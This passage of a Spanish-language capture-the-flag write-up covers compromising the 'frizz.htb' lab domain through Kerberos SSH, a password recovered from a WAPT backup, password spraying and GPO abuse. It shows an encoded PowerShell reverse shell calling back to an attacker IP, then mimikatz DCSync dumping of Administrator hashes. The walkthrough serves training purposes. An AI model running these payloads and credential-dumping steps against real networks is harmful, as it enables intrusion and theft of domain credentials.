Rejected.........: 0/12582912 (0.00%)
Restore.Point....: 11010048/14344385 (76.76%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: Joythedog -> 321dict
Hardware.Mon.#1..: Temp: 32c Fan:  0% Util:  0% Core:2505MHz Mem:8250MHz Bus:8

Started: Wed Mar 19 04:54:20 2025
Stopped: Wed Mar 19 04:54:27 2025
PS C:\Users\sckull\Documents\hashcat-6.2.6>

User - f.frizzle

f.frizzle tiene acceso por ldap unicamente con autenticacion por Kerberos, netexec no muestra si fue exitosa la autenticacion por SSH por medio de Kerberos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
❯ netexec ldap 10.10.11.60 -u "f.frizzle" -p "Jenni_Luvs_Magic23"
LDAP        10.10.11.60     389    frizzdc.frizz.htb [*]  x64 (name:frizzdc.frizz.htb) (domain:frizz.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.60     389    frizzdc.frizz.htb [-] frizz.htb\f.frizzle:Jenni_Luvs_Magic23 STATUS_NOT_SUPPORTED
❯ netexec ldap 10.10.11.60 -u "f.frizzle" -p "Jenni_Luvs_Magic23" -k
LDAP        10.10.11.60     389    frizzdc.frizz.htb [*]  x64 (name:frizzdc.frizz.htb) (domain:frizz.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.60     389    frizzdc.frizz.htb [+] frizz.htb\f.frizzle:Jenni_Luvs_Magic23 
❯ netexec ssh 10.10.11.60 -u "f.frizzle" -p "Jenni_Luvs_Magic23"
SSH         10.10.11.60     22     10.10.11.60      [*] SSH-2.0-OpenSSH_for_Windows_9.5
SSH         10.10.11.60     22     10.10.11.60      [-] f.frizzle:Jenni_Luvs_Magic23
❯ netexec ssh 10.10.11.60 -u "f.frizzle" -p "Jenni_Luvs_Magic23" -k
SSH         10.10.11.60     22     10.10.11.60      [*] SSH-2.0-OpenSSH_for_Windows_9.5

Bloodhound

Con credenciales validas encontradas ejecutamos impacket-getTGT para obtener un ticket para este usuario.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
❯ impacket-getTGT frizz.htb/f.frizzle:Jenni_Luvs_Magic23
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in f.frizzle.ccache
❯ impacket-describeTicket f.frizzle.ccache
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Ticket Session Key            : 6c0be53dcc7ecf0edb45f426c767f0338cefe31e4095425bcec5e232bb7b1f63
[*] User Name                     : f.frizzle
[*] User Realm                    : FRIZZ.HTB
[*] Service Name                  : krbtgt/FRIZZ.HTB
[*] Service Realm                 : FRIZZ.HTB
[*] Start Time                    : 28/03/2025 04:26:23 AM
[*] End Time                      : 28/03/2025 14:26:23 PM
[*] RenewTill                     : 29/03/2025 04:25:56 AM
[*] Flags                         : (0x50e10000) forwardable, proxiable, renewable, initial, pre_authent, enc_pa_rep
[*] KeyType                       : aes256_cts_hmac_sha1_96
[*] Base64(key)                   : bAvlPcx+zw7bRfQmx2fwM4zv4x5AlUJbzsXiMrt7H2M=
[*] Decoding unencrypted data in credential[0]['ticket']:
[*]   Service Name                : krbtgt/FRIZZ.HTB
[*]   Service Realm               : FRIZZ.HTB
[*]   Encryption type             : aes256_cts_hmac_sha1_96 (etype 18)
[-] Could not find the correct encryption key! Ticket is encrypted with aes256_cts_hmac_sha1_96 (etype 18), but no keys/creds were supplied

Utilizamos el ticket con bloodhound-python para obtener infromacion del AD.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
KRB5CCNAME=f.frizzle.ccache bloodhound-python -u 'f.frizzle' -k -no-pass -d frizz.htb -dc frizzdc.frizz.htb -ns 10.10.11.60 -c all --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: frizz.htb
INFO: Using TGT from cache
INFO: Found TGT with correct principal in ccache file.
INFO: Connecting to LDAP server: frizzdc.frizz.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: frizzdc.frizz.htb
INFO: Found 22 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: frizzdc.frizz.htb
INFO: Done in 00M 40S
INFO: Compressing output into 20250328045527_bloodhound.zip

Con la version de Bloodhound-CE cargamos el archivo .zip generado anteriormente.

image

F.Frizzle

f.frizzle no parece tener algun permiso interesante, aunque pertenece al grupo Remote Management Users, sin embargo el puerto WinRM no esta abierto.

image

Otro miembro de este mismo grupo es M.SchoolBus.

image

M SchoolBus

M.SchoolBus, pertenece al grupo Desktop Admins y Group Policy Creator Owners, entre los mas destacados. Este ultimo permite modificar, crear y eliminar GPOs, de existir alguna marcada como “vulnerable” es posible abusar de esta.

image

Se observa que tambien tiene permisos sobre varios usuarios, el permiso WriteGPLink sobre dos OU.

image

Por el momento no se muestra algo que nos permita el acceso desde f.frizzle a M.Schoolbus.

Shell - SSH Kerberos

Modificamos el archivo /etc/krb5.conf con la configuracion para frizz.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
❯ cat /etc/krb5.conf
[libdefaults]
	default_realm = FRIZZ.HTB
	dns_lookup_realm = false
	dns_lookup_kdc = false
    
[realms]
    FRIZZ.HTB = {
        kdc = frizzdc.frizz.htb
        admin_server = frizzdc.frizz.htb
        default_domain = frizz.htb
    }

[domain_realm]
    frizz.htb = FRIZZ.HTB
    .frizz.htb = FRIZZ.HTB

Especificamos el ticket en la variable de entorno y ejecutamos SSH con autenticacion Kerberos.

1
export KRB5CCNAME=f.frizzle.ccache ;ssh -K f.frizzle@frizz.htb

Logrando el acceso como f.frizzle y la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
PowerShell 7.4.5
PS C:\Users\f.frizzle> whoami
frizz\f.frizzle
PS C:\Users\f.frizzle> ls

    Directory: C:\Users\f.frizzle

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-r--          10/29/2024  7:31 AM                Desktop
d-r--          10/29/2024  7:27 AM                Documents
d-r--            5/8/2021  1:15 AM                Downloads
d-r--            5/8/2021  1:15 AM                Favorites
d-r--            5/8/2021  1:15 AM                Links
d-r--            5/8/2021  1:15 AM                Music
d-r--            5/8/2021  1:15 AM                Pictures
d----            5/8/2021  1:15 AM                Saved Games
d-r--            5/8/2021  1:15 AM                Videos
-a---          10/24/2024  9:16 PM       30416987 wapt-backup-sunday.7z

PS C:\Users\f.frizzle> cd Desktop
PS C:\Users\f.frizzle\Desktop> dir

    Directory: C:\Users\f.frizzle\Desktop

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar--           3/20/2025  4:28 AM             34 user.txt

PS C:\Users\f.frizzle\Desktop> type user.txt
d92f562b7c5e9cb09e62b4c3b9607673
PS C:\Users\f.frizzle\Desktop>

User - M.SchoolBus

Backup

En el directorio de f.frizzle encontramos un archivo 7z el nombre indica que es un backup.

1
2
3
4
5
6
7
PS C:\Users\f.frizzle> Get-FileHash wapt-backup-sunday.7z -Algorithm SHA256

Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
SHA256          EC05B7ABEF51628BDB76DC33427462068F075C188618A505EFC589EFBA43DFDD       C:\Users\f.frizzle\wapt-backup-sunday.7z

PS C:\Users\f.frizzle>

Utilizando scp copiamos el archivo a nuestra maquina.

1
2
3
4
5
6
7
8
export KRB5CCNAME=../f.frizzle.ccache ; scp -o GSSAPIAuthentication=yes f.frizzle@frizz.htb:C:/Users/f.frizzle/wapt-backup-sunday.7z .
wapt-backup-sunday.7z                                                                                                                                 100%   29MB   1.0MB/s   00:27    
❯ ll wapt-backup-sunday.7z
.rw------- kali kali 29 MB Thu Mar 20 10:16:59 2025  wapt-backup-sunday.7z
❯ sha256sum wapt-backup-sunday.7z
ec05b7abef51628bdb76dc33427462068f075c188618a505efc589efba43dfdd  wapt-backup-sunday.7z

Extrajimos el contenido de este.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
❯ 7z x wapt-backup-sunday.7z

7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
 64-bit locale=en_US.UTF-8 Threads:128 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 30416987 bytes (30 MiB)

Extracting archive: wapt-backup-sunday.7z
--
Path = wapt-backup-sunday.7z
Type = 7z
Physical Size = 30416987
Headers Size = 65880
Method = ARM64 LZMA2:26 LZMA:20 BCJ2
Solid = +
Blocks = 3

Everything is Ok                                                           

Folders: 684
Files: 5384
Size:       141187501
Compressed: 30416987

Se observa que la version de WAPT es 2.5.5.15697-20422a0b.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
❯ ls wapt
 __pycache__   lib                      auth_module_ad.py    setuphelpers_linux.py     wapt-get.exe.manifest   waptconsole.exe.manifest   waptself.exe         wgetwads64.exe
󰃨 cache         log                      common.py            setuphelpers_macos.py     wapt-get.ini            waptcrypto.py              waptserver.exe      
 conf          private                  COPYING.txt          setuphelpers_unix.py      wapt-get.ini.tmpl       waptguihelper.pyd          waptservice.exe     
 conf.d        Scripts                  keyfinder.py         setuphelpers_windows.py   wapt-get.py             waptlicences.pyd           wapttftpserver      
 db            ssl                      licencing.py         unins000.msg              wapt-scanpackages.py    waptmessage.exe            wapttftpserver.exe  
 DLLs          templates                revision.txt         version-full              wapt-signpackages.py    waptpackage.py             wapttray.exe        
 keys          trusted_external_certs   setupdevhelpers.py   wapt-enterprise.ico       wapt.psproj             waptpython.exe             waptutils.py        
 languages     waptwua                  setuphelpers.py      wapt-get.exe              waptbinaries.sha256     waptpythonw.exe            wgetwads32.exe      
❯ cat version-full
2.5.5.15697-20422a0b

Dentro del archivo de configruacion encontramos una contrasena.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
❯ cat conf/waptserver.ini
[options]
allow_unauthenticated_registration = True
wads_enable = True
login_on_wads = True
waptwua_enable = True
secret_key = ylPYfn9tTU9IDu9yssP2luKhjQijHKvtuxIzX9aWhPyYKtRO7tMSq5sEurdTwADJ
server_uuid = 646d0847-f8b8-41c3-95bc-51873ec9ae38
token_secret_key = 5jEKVoXmYLSpi5F7plGPB4zII5fpx0cYhGKX5QC0f7dkYpYmkeTXiFlhEJtZwuwD
wapt_password = IXN1QmNpZ0BNZWhUZWQhUgo=
clients_signing_key = C:\wapt\conf\ca-192.168.120.158.pem
clients_signing_certificate = C:\wapt\conf\ca-192.168.120.158.crt

[tftpserver]
root_dir = c:\wapt\waptserver\repository\wads\pxe
log_path = c:\wapt\log

Esta codificado en base64 por lo que logramos obtener su valor.

1
IXN1QmNpZ0BNZWhUZWQhUgo= : !suBcig@MehTed!R

Password Spraying

Obtuvimos la lista de usuarios del archivo de bloodhound.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
❯ jq -r '.data[].Properties.name' 20250328045527_users.json | cut -d "@" -f1 | uniq | tail -n +2
M.RAMON
W.WEBSERVICE
C.RAMON
C.SANDIEGO
G.FRIZZLE
V.FRIZZLE
P.TERESE
J.PERLSTEIN
A.PERLSTEIN
R.TENNELLI
L.AWESOME
M.SCHOOLBUS
T.WRIGHT
K.FRANKLIN
D.HUDSON
H.ARM
W.LI
F.FRIZZLE
KRBTGT
GUEST
ADMINISTRATOR
❯ jq -r '.data[].Properties.name' 20250328045527_users.json | cut -d "@" -f1 | uniq | tail -n +2 > users.txt

Con el wordlist de usuarios ejecutamos password spraying, observamos que la contrasena pertenece a M.SchoolBus.

1
2
3
❯ netexec ldap 10.10.11.60 -u users.txt -p "\!suBcig@MehTed\!R" -k | grep +
LDAP        10.10.11.60     389    frizzdc.frizz.htb [+] frizz.htb\M.SCHOOLBUS:!suBcig@MehTed!R

Shell

Obtuvimos un ticket para M.SchoolBus y con este nos autenticamos por SSH.

1
2
3
4
5
❯ impacket-getTGT frizz.htb/M.SchoolBus:'!suBcig@MehTed!R'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in M.SchoolBus.ccache
export KRB5CCNAME=M.SchoolBus.ccache ;ssh -K M.SchoolBus@frizz.htb

Logrando el acceso a este usuario.

1
2
3
4
PowerShell 7.4.5
PS C:\Users\M.SchoolBus> whoami
frizz\m.schoolbus
PS C:\Users\M.SchoolBus>

Privesc

GPO Abuse

Bloodhound no muestra ningun GPO “vulnerable”, ademas los existentes unicamente son modificables por el grupo “Domain Admins”.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
PS C:\Users\M.SchoolBus\Documents> Get-GPO -All -Domain "frizz.htb"

DisplayName      : Default Domain Policy
DomainName       : frizz.htb
Owner            : frizz\Domain Admins
Id               : 31b2f340-016d-11d2-945f-00c04fb984f9
GpoStatus        : AllSettingsEnabled
Description      : 
CreationTime     : 10/29/2024 7:19:24 AM
ModificationTime : 10/29/2024 7:25:44 AM
UserVersion      : 
ComputerVersion  : 
WmiFilter        : 

DisplayName      : Default Domain Controllers Policy
DomainName       : frizz.htb
Owner            : frizz\Domain Admins
Id               : 6ac1786c-016f-11d2-945f-00c04fb984f9
GpoStatus        : AllSettingsEnabled
Description      : 
CreationTime     : 10/29/2024 7:19:24 AM
ModificationTime : 10/29/2024 7:19:24 AM
UserVersion      : 
ComputerVersion  : 
WmiFilter        : 

PS C:\Users\M.SchoolBus\Documents>

M.SchoolBus pertenece al grupo ‘Group Policy Creator Owners’ este nos permite crear GPOs por lo que creamos un nuevo GPO enlazado a Domain Controllers (“GPO Vulnerable Privilegiado”).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
PS C:\Users\M.SchoolBus\Documents> New-GPO -Name "sc" | New-GPLink -Target "OU=DOMAIN CONTROLLERS,DC=FRIZZ,DC=HTB"

GpoId       : 99dfdfd3-2451-4f46-9217-23810e133418
DisplayName : sc
Enabled     : True
Enforced    : False
Target      : OU=Domain Controllers,DC=frizz,DC=htb
Order       : 2

PS C:\Users\M.SchoolBus\Documents>

Listamos los GPOs y observamos el recien creado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
PS C:\Users\M.SchoolBus\Documents> Get-GPO -All -Domain "frizz.htb"

DisplayName      : Default Domain Policy
DomainName       : frizz.htb
Owner            : frizz\Domain Admins
Id               : 31b2f340-016d-11d2-945f-00c04fb984f9
GpoStatus        : AllSettingsEnabled
Description      : 
CreationTime     : 10/29/2024 7:19:24 AM
ModificationTime : 10/29/2024 7:25:44 AM
UserVersion      : 
ComputerVersion  : 
WmiFilter        : 

DisplayName      : Default Domain Controllers Policy
DomainName       : frizz.htb
Owner            : frizz\Domain Admins
Id               : 6ac1786c-016f-11d2-945f-00c04fb984f9
GpoStatus        : AllSettingsEnabled
Description      : 
CreationTime     : 10/29/2024 7:19:24 AM
ModificationTime : 10/29/2024 7:19:24 AM
UserVersion      : 
ComputerVersion  : 
WmiFilter        : 

DisplayName      : sc
DomainName       : frizz.htb
Owner            : frizz\M.SchoolBus
Id               : 99dfdfd3-2451-4f46-9217-23810e133418
GpoStatus        : AllSettingsEnabled
Description      : 
CreationTime     : 3/28/2025 6:03:52 AM
ModificationTime : 3/28/2025 6:04:10 AM
UserVersion      : 
ComputerVersion  : 
WmiFilter        : 

PS C:\Users\M.SchoolBus\Documents>

Con SharpGPOAbuse agregamos una “Task” especificando como autor a Administrator ademas el comando a ejecutar un ping a nuestra maquina.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
PS C:\Users\M.SchoolBus\Documents> .\SharpGPOAbuse.exe --AddComputerTask --TaskName "sc" --Author Administrator --Command "cmd.exe" --Arguments "/c ping 10.10.14.105" --GPOName "sc"   
[+] Domain = frizz.htb
[+] Domain Controller = frizzdc.frizz.htb
[+] Distinguished Name = CN=Policies,CN=System,DC=frizz,DC=htb
[+] GUID of "sc" is: {99DFDFD3-2451-4F46-9217-23810E133418}
[+] Creating file \\frizz.htb\SysVol\frizz.htb\Policies\{99DFDFD3-2451-4F46-9217-23810E133418}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!
PS C:\Users\M.SchoolBus\Documents>

Forzamos la actualizacion de Group Policy Settings.

1
2
3
4
5
6
7
PS C:\Users\M.SchoolBus\Documents> gpupdate /force
Updating policy...

Computer Policy update has completed successfully.
User Policy update has completed successfully.

PS C:\Users\M.SchoolBus\Documents>

Tras ello observamos pings provenientes de la maquina.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
❯ sudo tcpdump -i tun0 icmp
[sudo] password for kali: 
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
09:02:35.919664 IP frizzdc.frizz.htb > 10.10.14.105: ICMP echo request, id 1, seq 1, length 40
09:02:35.919724 IP 10.10.14.105 > frizzdc.frizz.htb: ICMP echo reply, id 1, seq 1, length 40
09:02:36.823502 IP frizzdc.frizz.htb > 10.10.14.105: ICMP echo request, id 1, seq 2, length 40
09:02:36.823520 IP 10.10.14.105 > frizzdc.frizz.htb: ICMP echo reply, id 1, seq 2, length 40
09:02:37.737484 IP frizzdc.frizz.htb > 10.10.14.105: ICMP echo request, id 1, seq 3, length 40
09:02:37.737502 IP 10.10.14.105 > frizzdc.frizz.htb: ICMP echo reply, id 1, seq 3, length 40
09:02:38.651507 IP frizzdc.frizz.htb > 10.10.14.105: ICMP echo request, id 1, seq 4, length 40
09:02:38.651524 IP 10.10.14.105 > frizzdc.frizz.htb: ICMP echo reply, id 1, seq 4, length 40

Shell

Nuevamente creamos un GPO, esta vez para ejecutar una shell inversa.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
PS C:\Users\M.SchoolBus\Documents> New-GPO -Name "sc" | New-GPLink -Target "OU=DOMAIN CONTROLLERS,DC=FRIZZ,DC=HTB"

GpoId       : 9135b440-7b93-429a-999d-b54bed985510
DisplayName : sc
Enabled     : True
Enforced    : False
Target      : OU=Domain Controllers,DC=frizz,DC=htb
Order       : 2

PS C:\Users\M.SchoolBus\Documents>
PS C:\Users\M.SchoolBus\Documents> Get-GPO -All -Domain "frizz.htb"

RunspaceId       : c4994878-5250-4237-9195-9ea42b47dec7
Id               : 31b2f340-016d-11d2-945f-00c04fb984f9
DisplayName      : Default Domain Policy
Path             : cn={31B2F340-016D-11D2-945F-00C04FB984F9},cn=policies,cn=system,DC=frizz,DC=htb
Owner            : frizz\Domain Admins
DomainName       : frizz.htb
CreationTime     : 10/29/2024 7:19:24 AM
ModificationTime : 10/29/2024 7:25:44 AM
User             : Microsoft.GroupPolicy.UserConfiguration
Computer         : Microsoft.GroupPolicy.ComputerConfiguration
GpoStatus        : AllSettingsEnabled
WmiFilter        : 
Description      : 


RunspaceId       : c4994878-5250-4237-9195-9ea42b47dec7
Id               : 6ac1786c-016f-11d2-945f-00c04fb984f9
DisplayName      : Default Domain Controllers Policy
Path             : cn={6AC1786C-016F-11D2-945F-00C04fB984F9},cn=policies,cn=system,DC=frizz,DC=htb
Owner            : frizz\Domain Admins
DomainName       : frizz.htb
CreationTime     : 10/29/2024 7:19:24 AM
ModificationTime : 10/29/2024 7:19:24 AM
User             : Microsoft.GroupPolicy.UserConfiguration
Computer         : Microsoft.GroupPolicy.ComputerConfiguration
GpoStatus        : AllSettingsEnabled
WmiFilter        : 
Description      : 


RunspaceId       : c4994878-5250-4237-9195-9ea42b47dec7
Id               : 9135b440-7b93-429a-999d-b54bed985510
DisplayName      : sc
Path             : cn={9135B440-7B93-429A-999D-B54BED985510},cn=policies,cn=system,DC=frizz,DC=htb
Owner            : frizz\M.SchoolBus
DomainName       : frizz.htb
CreationTime     : 3/28/2025 7:00:33 AM
ModificationTime : 3/28/2025 7:00:32 AM
User             : Microsoft.GroupPolicy.UserConfiguration
Computer         : Microsoft.GroupPolicy.ComputerConfiguration
GpoStatus        : AllSettingsEnabled
WmiFilter        : 
Description      : 

PS C:\Users\M.SchoolBus\Documents>

Generamos una shell inversa de powershell con revshells, utilizamos esta en el comando de la Task en SharpGPOAbuse para finalmente forzar la actualizacion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
PS C:\Users\M.SchoolBus\Documents> .\SharpGPOAbuse.exe --AddComputerTask --TaskName "sc" --Author Administrator --Command "cmd.exe" --Arguments "/c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQAwADUAIgAsADEAMwAzADgAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA" --GPOName "sc"; gpupdate /force
[+] Domain = frizz.htb
[+] Domain Controller = frizzdc.frizz.htb
[+] Distinguished Name = CN=Policies,CN=System,DC=frizz,DC=htb
[+] GUID of "sc" is: {9135B440-7B93-429A-999D-B54BED985510}
[+] Creating file \\frizz.htb\SysVol\frizz.htb\Policies\{9135B440-7B93-429A-999D-B54BED985510}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!
Updating policy...

Computer Policy update has completed successfully.
User Policy update has completed successfully.

PS C:\Users\M.SchoolBus\Documents>

Tras ello obtuvimos una shell como Administrator, logrando realizar la lectura de la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
❯ rlwrap nc -lvp 1338
listening on [any] 1338 ...
connect to [10.10.14.105] from frizzdc.frizz.htb [10.10.11.60] 64154
PS C:\Windows\system32> whoami
nt authority\system
PS C:\Windows\system32> cd C:/Users/Administrator/Desktop
PS C:\Users\Administrator\Desktop> dir


    Directory: C:\Users\Administrator\Desktop


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
-a----         2/25/2025   2:06 PM           2083 cleanup.ps1                                                          
-ar---         3/28/2025   2:56 AM             34 root.txt                                                             


PS C:\Users\Administrator\Desktop> type root.txt
bf426f3fb52bc1810fa9189ba6d2068f
PS C:\Users\Administrator\Desktop>

Dump Hashes

Como administrador ejecutamos mimikatz para obtener los hashes de los usarios.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
C:\Windows\system32>mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # lsadump::dcsync /domain:frizz.htb /user:administrator
[DC] 'frizz.htb' will be the domain
[DC] 'frizzdc.frizz.htb' will be the DC server
[DC] 'administrator' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : Administrator

** SAM ACCOUNT **

SAM Username         : Administrator
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000200 ( NORMAL_ACCOUNT )
Account expiration   : 
Password last change : 2/25/2025 2:24:10 PM
Object Security ID   : S-1-5-21-2386970044-1145388522-2932701813-500
Object Relative ID   : 500

Credentials:
  Hash NTLM: c457b5f1c315bef53b9cabc92e993d0b

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 6ac5eaf7ead889fd0d041016f94ddafd

* Primary:Kerberos-Newer-Keys *
    Default Salt : FRIZZ.HTBAdministrator
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : ccacae8e6d2659abd32d29c125b93cf8d434c2ceb5a144e4c01807cb6f6eaf89
      aes128_hmac       (4096) : e3b797c9257b571573fd413000881faf
      des_cbc_md5       (4096) : 3e1594979e2980a7
    OldCredentials
      aes256_hmac       (4096) : de848bb92b49f090ff525477379ec7dab350b5a3d879e3463b356cf6b9037744
      aes128_hmac       (4096) : 8629d37b0c2c52f689664c1e5dc30f41
      des_cbc_md5       (4096) : 9113ea64aecbc480

* Primary:Kerberos *
    Default Salt : FRIZZ.HTBAdministrator
    Credentials
      des_cbc_md5       : 3e1594979e2980a7
    OldCredentials
      des_cbc_md5       : 9113ea64aecbc480

* Packages *
    NTLM-Strong-NTOWF

* Primary:WDigest *
    01  2a644381ab0bbc9cfd87dc35c495c0ae
    02  956abddcbd1a40e58e734fd5a45da951
    03  ebe417048be44a012e4a38e03ef28887
    04  2a644381ab0bbc9cfd87dc35c495c0ae
    05  9748959c8802be42b0e4732291696999
    06  0c927848e3f67c1b7b3b484a4881d3e8
    07  c7e7858542342b1de624708fbc313973
    08  281ff172032bba7a89c0fcbe380dbd10
    09  50bba77ee23a5010fb5777816cc04da5
    10  796c79776c4ed1c69a8a4101453832e5
    11  c24de888b26aaf965130e1d4563503dc
    12  281ff172032bba7a89c0fcbe380dbd10
    13  55feb01a735bdf189551c8d5d51b5c5a
    14  8bcf486a061993767b8b15693bf84900
    15  de427ec0febef355fb3b8e7db6d10f99
    16  4cf3b6b64c6737f3ce4e91e637173508
    17  b2f0e25cdcfc14142b66e387af4d337a
    18  3e0388f1021baaa2c3f56db300b9a546
    19  b2f92346f0c33847b0cdf6dedc63eb3c
    20  469c58bd998799e0cdabfd145a13da59
    21  30a9f5e7c2cf6e14ea5b17dd85302b5c
    22  06c21c6ab5fc20d0adffade0e568b486
    23  2e6c12c688783dc66cfc90bfe0b33db7
    24  30646a9711fd7944d1deefef9b649dd7
    25  ebd62686a42b1d60caf377db610f7cd6
    26  b45658d8d1776efa2910c9a3c62fc850
    27  3f50d34b42a7fa72d9e40511c6d67728
    28  036fe1e7ca0bad673cd83a0104a609f2
    29  a02a88693bf5446aee8c6a4895d410ee


mimikatz # lsadump::dcsync /domain:frizz.htb /ALL /CSV
